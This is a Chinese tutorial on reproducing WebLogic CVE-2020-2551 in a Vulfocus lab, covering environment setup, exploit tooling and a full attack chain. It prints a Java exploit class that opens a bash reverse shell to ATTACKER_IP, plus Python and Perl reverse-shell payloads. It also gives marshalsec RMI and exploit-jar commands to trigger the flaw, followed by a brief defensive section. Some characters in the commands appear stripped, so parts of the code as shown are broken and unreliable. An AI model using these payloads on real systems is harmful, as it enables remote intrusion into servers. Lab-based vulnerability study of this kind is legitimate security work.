WebLogic CVE-2020-2551漏洞复现实战指南从环境搭建到反弹Shell的全流程解析当我在第一次尝试复现WebLogic CVE-2020-2551漏洞时整整两天时间都卡在JDK版本兼容问题上。看着各种工具报错却找不到原因这种挫败感让我深刻理解到——漏洞复现从来不是简单的复制粘贴命令而是一场与开发环境斗智斗勇的持久战。1. 环境准备避开JDK版本的地雷阵1.1 操作系统适配的JDK1.6安装方案JDK1.6这个上古版本是复现该漏洞的最大障碍。不同操作系统下的安装方式各有玄机Windows系统方案从Oracle存档库下载jdk-6u45-windows-x64.exe安装后需手动设置环境变量setx JAVA_HOME C:\Program Files\Java\jdk1.6.0_45 setx PATH %PATH%;%JAVA_HOME%\binMac系统特殊处理使用Homebrew安装旧版brew tap homebrew/cask-versions brew install --cask java6需要额外授权才能运行系统偏好设置→安全性与隐私Linux便捷方案wget https://archive.org/download/jdk-6u45-linux-x64/jdk-6u45-linux-x64.bin chmod x jdk-6u45-linux-x64.bin ./jdk-6u45-linux-x64.bin sudo mv jdk1.6.0_45 /usr/lib/jvm/ update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1验证安装成功的黄金命令java -version应该显示1.6.0_45而不是任何更高版本1.2 靶场环境快速部署Vulfocus靶场的WebLogic镜像已经预配置了漏洞环境但有两个隐藏陷阱默认监听端口可能不是常见的7001内置的netcat版本通常不支持-e参数启动命令建议docker run -d -p 8001:8001 vulfocus/weblogic-cve_2020_25512. 工具链的生死抉择marshalsec还是JNDI-Injection-Exploit2.1 marshalsec的编译陷阱原始文档建议使用marshalsec-0.0.3-SNAPSHOT-all.jar但实际编译时会遇到这些坑编译环境冲突必须在JDK8下编译但生成的payload要在JDK6运行Maven依赖问题解决方案mvn clean package -DskipTests -Dmaven.compiler.source1.8 -Dmaven.compiler.target1.82.2 JNDI-Injection-Exploit为何失败工具兼容JDK问题根源marshalsec1.6需要二次编译JNDI-Injection-Exploit1.7底层API变更手工编写EXP任意版本灵活性最高我在测试中发现即使使用JNDI-Injection-Exploit的1.0-SNAPSHOT版本其生成的字节码仍然包含JDK7特有的指令集这会导致在WebLogic的JDK6环境中直接崩溃。3. EXP编写实战绕过netcat版本限制3.1 基础EXP模板// exp_jndi.java import java.io.IOException; public class exp_jndi { static { try { Runtime.getRuntime().exec(new String[]{ /bin/bash, -c, exec 5/dev/tcp/ATTACKER_IP/4444;cat 5 | while read line; do $line 25 5; done }); } catch (IOException e) { e.printStackTrace(); } } }编译时必须指定精确版本javac -source 1.6 -target 1.6 exp_jndi.java3.2 针对老旧netcat的替代方案Vulfocus环境中的netcat通常缺少-e参数支持这些替代方案更可靠Python反向ShellRuntime.getRuntime().exec(new String[]{ /usr/bin/python, -c, import socket,subprocess,os; ssocket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\ATTACKER_IP\,4444)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); psubprocess.call([\/bin/sh\,\-i\]); });Perl单行命令Runtime.getRuntime().exec(new String[]{ /usr/bin/perl, -e, use Socket;$i\ATTACKER_IP\;$p4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\tcp\)); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,\S\);open(STDOUT,\S\);open(STDERR,\S\); exec(\/bin/sh -i\);}; });4. 完整攻击链组装4.1 分步执行流程启动HTTP服务托管编译好的class文件python3 -m http.server 8080开启RMI转发java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ http://YOUR_IP:8080/#exp_jndi 1099触发漏洞java -jar weblogic20202551.jar TARGET_IP TARGET_PORT \ rmi://YOUR_IP:1099/exp_jndi监听反弹Shellnc -lvnp 44444.2 排错检查清单当攻击不成功时按这个顺序检查[ ] JDK版本是否完全匹配攻击端和靶场端[ ] 防火墙是否放行相关端口1099, 4444, 8080[ ] EXP文件是否可被靶场服务器访问[ ] 所有IP地址是否配置正确[ ] 时间戳是否在漏洞有效期内某些WebLogic补丁会自动生效5. 防御视角从攻击中学习防护虽然我们是站在攻击角度复现漏洞但理解防御同样重要。企业环境中可以通过以下方式检测此类攻击IIOP协议监控tcpdump -i any -nn port 1050 -w iiop_traffic.pcap异常JNDI查询日志grep -i JNDI lookup /path/to/weblogic/logs/*.logRMI请求分析netstat -tulnp | grep 1099在防御配置上WebLogic管理员应该及时安装官方补丁限制IIOP协议的访问权限监控异常的Java序列化流量漏洞复现过程中最让我意外的是即使使用完全相同的工具和命令在不同的网络环境下结果可能截然不同。有次因为本地防火墙的隐形拦截浪费了三小时排查。这也印证了安全研究的铁律环境差异是最大的变量永远要保持怀疑精神。